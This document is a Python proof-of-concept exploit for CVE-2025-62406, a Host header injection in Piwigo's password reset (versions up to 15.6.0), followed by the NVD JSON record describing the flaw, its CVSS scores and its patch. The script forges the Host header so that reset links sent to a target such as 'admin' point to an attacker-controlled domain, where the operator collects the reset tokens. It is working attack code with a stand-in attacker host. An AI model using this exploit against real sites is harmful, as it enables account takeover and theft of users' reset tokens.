CVE-2025-62406

import requests # CVE-2025-62406 PoC - Piwigo Host Header Injection in Password Reset # Affected Version: Piwigo <= 15.6.0 # Fixed Version: Piwigo 15.7.0 def exploit_host_header_injection(target_url, username, attacker_domain): """ Exploit for Host Header Injection in Piwigo password reset function. Args: target_url: Target Piwigo installation URL username: Target user username or email attacker_domain: Attacker's controlled domain to receive reset tokens Returns: Response object from the password reset request """ password_reset_endpoint = f"{target_url}/password_reset.php" headers = { 'Host': attacker_domain, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) PoC Exploit', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Content-Type': 'application/x-www-form-urlencoded' } payload = { 'username': username } print(f"[*] Sending password reset request for user: {username}") print(f"[*] Injected Host header: {attacker_domain}") try: response = requests.post( password_reset_endpoint, headers=headers, data=payload, timeout=30, allow_redirects=False ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Check {attacker_domain} logs for incoming password reset token requests") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": TARGET = "http://vulnerable-piwigo-site.com" ATTACKER_DOMAIN = "attacker-controlled-domain.com" TARGET_USER = "admin" exploit_host_header_injection(TARGET, TARGET_USER, ATTACKER_DOMAIN)

{"cve": {"id": "CVE-2025-62406", "sourceIdentifier": "[email protected]", "published": "2025-11-18T23:15:54.827", "lastModified": "2025-11-25T18:39:37.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Piwigo is a full featured open source photo gallery application for the web. In Piwigo 15.6.0, using the password reset function allows sending a password-reset URL by entering an existing username or email address. However, the hostname used to construct this URL is taken from the HTTP request's Host header and is not validated at all. Therefore, an attacker can send a password-reset URL with a modified hostname to an existing user whose username or email the attacker knows or guesses. This issue has been patched in version 15.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-640"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:piwigo:piwigo:15.6.0:*:*:*:*:*:*:*", "matchCriteriaId": "6DE6A721-9982-4AE7-B2D5-F9EE81CA75BE"}]}]}], "references": [{"url": "https://github.com/Piwigo/Piwigo/commit/9d2565465efc3570963ff431b45cad21610f6692", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Piwigo/Piwigo/security/advisories/GHSA-9986-w7jf-33f6", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/Piwigo/Piwigo/security/advisories/GHSA-9986-w7jf-33f6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}